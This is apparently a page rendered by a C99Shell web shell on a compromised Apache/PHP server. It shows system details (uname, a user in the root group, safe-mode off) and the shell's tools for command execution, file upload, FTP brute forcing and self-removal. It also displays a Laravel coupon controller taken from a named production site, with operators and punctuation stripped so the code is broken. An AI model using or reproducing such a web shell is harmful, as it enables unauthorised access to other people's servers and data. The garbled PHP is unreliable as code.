!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CouponController.php (7.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Coupon;
use 
App\Models\Plan;
use 
App\Models\UserCoupon;
use 
Illuminate\Http\Request;

class 
CouponController extends Controller
{

    public function 
index()
    {
        if(
\Auth::user()->can('manage coupon'))
        {
            
$coupons Coupon::get();

            return 
view('coupon.index'compact('coupons'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
create()
    {
        if(
\Auth::user()->can('create coupon'))
        {
            return 
view('coupon.create');
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create coupon'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'name' => 'required|unique:coupons',
                                   
'discount' => 'required|numeric',
                                   
'limit' => 'required|numeric',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            if(empty(
$request->manualCode) && empty($request->autoCode))
            {
                return 
redirect()->back()->with('error'__('Coupon code is required'));
            }

            
$couponCode Coupon::where('code' $request->manualCode)->orWhere('code' $request->autoCode)->first();
            if(
$couponCode != null)
            {
                return 
redirect()->back()->with('error'__('This Coupon Code is already taken.'));
            }
            
            
$coupon           = new Coupon();
            
$coupon->name     $request->name;
            
$coupon->discount $request->discount;
            
$coupon->limit    $request->limit;

            if(!empty(
$request->manualCode))
            {
                
$coupon->code strtoupper($request->manualCode);
            }

            if(!empty(
$request->autoCode))
            {
                
$coupon->code $request->autoCode;
            }

            
$coupon->save();

            return 
redirect()->route('coupons.index')->with('success'__('Coupon successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
show(Coupon $coupon)
    {
        
$userCoupons UserCoupon::where('coupon'$coupon->id)->with('userDetail')->get();

        return 
view('coupon.view'compact('userCoupons'));
    }


    public function 
edit(Coupon $coupon)
    {
        if(
\Auth::user()->can('edit coupon'))
        {
            return 
view('coupon.edit'compact('coupon'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
update(Request $requestCoupon $coupon)
    {
        if(
\Auth::user()->can('edit coupon'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'name' => 'required',
                                   
'discount' => 'required|numeric',
                                   
'limit' => 'required|numeric',
                                   
'code' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$coupon           Coupon::find($coupon->id);
            
$coupon->name     $request->name;
            
$coupon->discount $request->discount;
            
$coupon->limit    $request->limit;
            
$coupon->code     $request->code;

            
$coupon->save();

            return 
redirect()->route('coupons.index')->with('success'__('Coupon successfully updated.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
destroy(Coupon $coupon)
    {
        if(
\Auth::user()->can('delete coupon'))
        {
            
$coupon->delete();

            return 
redirect()->route('coupons.index')->with('success'__('Coupon successfully deleted.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
applyCoupon(Request $request)
    {

        
$plan Plan::find(\Illuminate\Support\Facades\Crypt::decrypt($request->plan_id));
        if(
$plan && $request->coupon != '')
        {
            
$original_price self::formatPrice($plan->price);
            
$coupons        Coupon::where('code'strtoupper($request->coupon))->where('is_active''1')->first();
            if(!empty(
$coupons))
            {
                
$usedCoupun $coupons->used_coupon();
                if(
$coupons->limit == $usedCoupun)
                {
                    return 
response()->json(
                        [
                            
'is_success' => false,
                            
'final_price' => $original_price,
                            
'price' => number_format($plan->price\Utility::getValByName('decimal_number')),
                            
'message' => __('This coupon code has expired.'),
                        ]
                    );
                }
                else
                {
                    
$discount_value = ($plan->price 100) * $coupons->discount;
                    
$plan_price     $plan->price $discount_value;
                    
$price          self::formatPrice($plan->price $discount_value);
                    
$discount_value '-' self::formatPrice($discount_value);

                    return 
response()->json(
                        [
                            
'is_success' => true,
                            
'discount_price' => $discount_value,
                            
'final_price' => $price,
                            
'price' => number_format($plan_price\Utility::getValByName('decimal_number')),
                            
'message' => __('Coupon code has applied successfully.'),
                        ]
                    );
                }
            }
            else
            {
                return 
response()->json(
                    [
                        
'is_success' => false,
                        
'final_price' => $original_price,
                        
'price' => number_format($plan->price\Utility::getValByName('decimal_number')),
                        
'message' => __('This coupon code is invalid or has expired.'),
                    ]
                );
            }
        }
    }

    public function 
formatPrice($price)
    {
        
$admin_payment_setting Utility::getAdminPaymentSetting();
        
$currency = !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : '$';

        return 
$currency number_format($price\Utility::getValByName('decimal_number'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--